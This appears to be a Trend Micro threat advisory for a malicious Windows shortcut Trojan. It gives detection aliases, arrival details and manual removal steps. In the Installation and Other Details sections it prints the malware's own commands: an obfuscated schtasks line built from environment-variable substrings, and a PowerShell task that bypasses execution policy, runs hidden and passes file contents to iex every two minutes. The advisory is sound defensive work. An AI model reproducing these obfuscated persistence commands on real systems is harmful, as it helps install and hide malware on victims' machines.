Analysis by: Karen Ivy Titiwa
ALIASES:

HEUR:Trojan.WinLNK.Rufus.gen (KASPERSKY); Trojan.LNK.Agent (IKARUS)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 1,742 bytes
File Type: LNK
Memory Resident: Yes
Initial Samples Received Date: 06 Aug 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • %System%\cmd.exe" /c %os:~6,1%chta%os:~6,1%ks /F /Create /TN "GO" /sc minute /MO 2 /ST 06:21 /TR "pow%tmp:~5,3%hell -ep bypass -%os:~0,3% 1 -c '&{cd %User Profile%; $g=F%os:~1,3%STR /S FOREGROUND agos*.* |%os:~6,1%elect -first 1;$g |iex}'";
  • schtasks /F /Create /TN "GO" /sc minute /MO 2 /ST 06:21 /TR "powershell -ep bypass -Win 1 -c '&{cd %User Profile%; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}'";

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan does the following:

  • It adds the following scheduled tasks:
    • Task Name = GO
    • Trigger = At 6:21 AM {execution date} - After triggered, repeat every 00:02:00 indefinitely
    • Action = powershell -ep bypass -Win 1 -c "&{cd C:\Users\dyituser_732; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}"

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.284.02
FIRST VSAPI PATTERN DATE: 07 Aug 2019
VSAPI OPR PATTERN File: 15.285.00
VSAPI OPR PATTERN Date: 08 Aug 2019

Step 1

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name = GO
  • Trigger = At 6:21 AM {execution date} - After triggered, repeat every 00:02:00 indefinitely
  • Action = powershell -ep bypass  -Win 1 -c "&{cd C:\Users\dyituser_732; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}"

    • For Windows 2000, Windows XP, and Windows Server 2003:

    1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
      System Tools>Scheduled Tasks.
    2. Locate each {Task Name} values listed above in the Name column.
    3. Right-click on the said file(s) with the aforementioned value.
    4. Click on Properties. In the Run field, check for the listed {Task to be run}.
    5. If the strings match the list above, delete the task.

    For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

    1. Open the Windows Task Scheduler. To do this:
      • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
      • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
    2. In the left panel, click Task Scheduler Library.
    3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
    4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
    5. If the said string is found, delete the task.

    Step 4

    Scan your computer with your Trend Micro product to clean files detected as Trojan.LNK.POWLOAD.AUSJSB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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